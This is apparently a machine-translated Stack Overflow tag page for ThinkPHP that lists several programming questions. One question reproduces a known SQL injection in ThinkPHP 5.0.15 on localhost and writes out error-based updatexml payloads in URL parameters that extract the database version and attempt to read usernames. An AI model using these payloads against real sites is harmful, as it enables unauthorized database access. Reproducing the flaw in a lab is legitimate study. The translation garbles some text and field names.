问题标签 [thinkphp]
For questions regarding programming in ECMAScript (JavaScript/JS) and its various dialects/implementations (excluding ActionScript). Note JavaScript is NOT the same as Java! Please include all relevant tags on your question; e.g., [node.js], [jquery], [json], [reactjs], [angular], [ember.js], [vue.js], [typescript], [svelte], etc.
php - mac-thinkphp 控制器不存在
我的 Index.php 有两个功能。功能指标好,但功能测试不好。我不知道。
[0] HttpException in App.php line 578 控制器\控制器不存在:app\indexler\Test
php - thinkphp5.0.x调试中的sql_injection漏洞
我正在重新创建一个关于的 sql 注入漏洞thinkphp5.0.x
我已经可以得到version()
但是我不能得到字段内容,它说:
SQLSTATE[HY000]: General error: 1105 Only constant XPATH queries are supported`
为什么?</p>
思考php 5.0.15
php 7.2
payload1: http:
//127.0.0.1/thinkphp5.0.15/public/index.php/index/index/index?password[0]=inc&password[1]=updatexml(1,concat(0x7e,version(),0x7e) ,1)&密码[2]=1
回声1:
SQLSTATE[HY000]:一般错误:1105 XPATH 语法错误:'~5.5.53~'
payload2: http:
//127.0.0.1/thinkphp5.0.15/public/index.php/index/index/index ?password[0]=inc&password[1]=updatexml(1,concat(0x7e,(select%20username%20from %20用户限制 0,1),0x7e),1)&密码[2]=1
回声2:
SQLSTATE [HY000]:一般错误:1105 仅支持常量 XPATH 查询,但它在 mysql 中的回显是正确的:mysql> INSERT INTO
user
(password
) VALUES (updatexml(1,concat(0x7e,(select username from user limit 0,1)) ,1)+1); 错误 1105 (HY000): XPATH 语法错误: '~test'
我希望输出是 SQLSTATE[HY000]: General error: 1105 XPATH syntax error: '~test'
php - 将 cookie 发送到服务器时遇到问题
vue+axios 前端不会在请求标头中将 cookie 发送到我的 php 服务器。
我正在尝试将旧项目移动到新服务器。我对项目架构做了一些优化,它在我的本地 docker 环境中运行良好。当我将它移到生产环境时发生了一些问题。每边有两个域。admin.example.com 用于前端,serve.example.com 用于后端。我在服务器代码中手动将 cookie_path 设置为 / 并将 cookie_domain 设置为 .example.com 。前端在后端响应标头中获得了预期的 set-cookie。但是前端不会在每个下一个请求中将 cookie 发送到后端。所以登录状态无法维持。
响应头如下:
预期结果:浏览器在每个请求中发送 cookie,以便保持登录状态。
实际结果:Cookie 尚未发送。浏览器在每个请求中获得不同的会话密钥。
php - 将一个类($this)的属性$action赋给一个变量$conf,为什么是数组?
项目中使用的框架thinkphp的controller.php中有如下函数,其中有这行代码:“$conf = $this->$action”。
“if (property_exists($this, $action))” 正在检查 $this 类中是否存在属性 $action。形成下一行代码“if (key_exists('login', $conf))”,在我看来 $conf 是一个数组。
我的问题是:“$conf = $this->$action”到底在做什么,将一个数组(属性$action?为什么$action是一个数组?)分配给变量$conf?
javascript - 如何动态检查复选框是否在另一个表 Javascript/PHP 中?
我有两个表,table 1
字段为webID, project, web
,我使用下面的 PHP 代码(ThinkPHP 框架)来获取项目列表:
table 2
我使用以下PHPuserID, issue, web, project
代码获取问题列表:
下面的代码.js
是让用户选择的项目和问题的多项选择/复选框,当用户选择issue
不属于该的project
时,如何提醒用户在提交前再次检查?
和html
代码如下:
和实际的htmlinspect
如下:
php - 如何在 php 或其框架中找到“::get”?
我无法理解::get
inthinkphp
和laravel
,我可以找到Session::get
or self::get
。那么::get
is 是函数吗?我使用了,phpstorm
但我找不到那个的定义。是“”的意思,::get
不是“”的::
符号
php - 在 namecheap pulsar vps 主机上运行带有 ssl 的 php cli 框架
我正在尝试通过命令在我的 VPS 服务器上以 CLI 模式运行 PHP 框架(Think php6)php think run
。
php think run -p 443
该脚本需要 SSL 连接才能正常工作,但通过或拒绝在默认端口(80 和 443)上运行php think run -p 80
。
我收到此错误:
在 0.0.0.0:443 上收听失败(原因:地址已在使用中)
我尝试在我创建的地方使用神奇的 authbind,你/authbind/byport/80
猜/authbind/byport/443
怎么着?
结果:
/root/frameworks/thinktest/: 权限被拒绝
vue.js - 如何使用 vue 前端项目在本地运行 thinkcmf 框架后端
我正在尝试使用 vue 前端运行 thinkcmf 框架后端。我收到以下错误。
跨域请求被阻止:同源策略不允许在https://domainname.com:80/api/读取远程资源。(原因:CORS 请求未成功)。状态码:(空)。
有人能帮忙吗?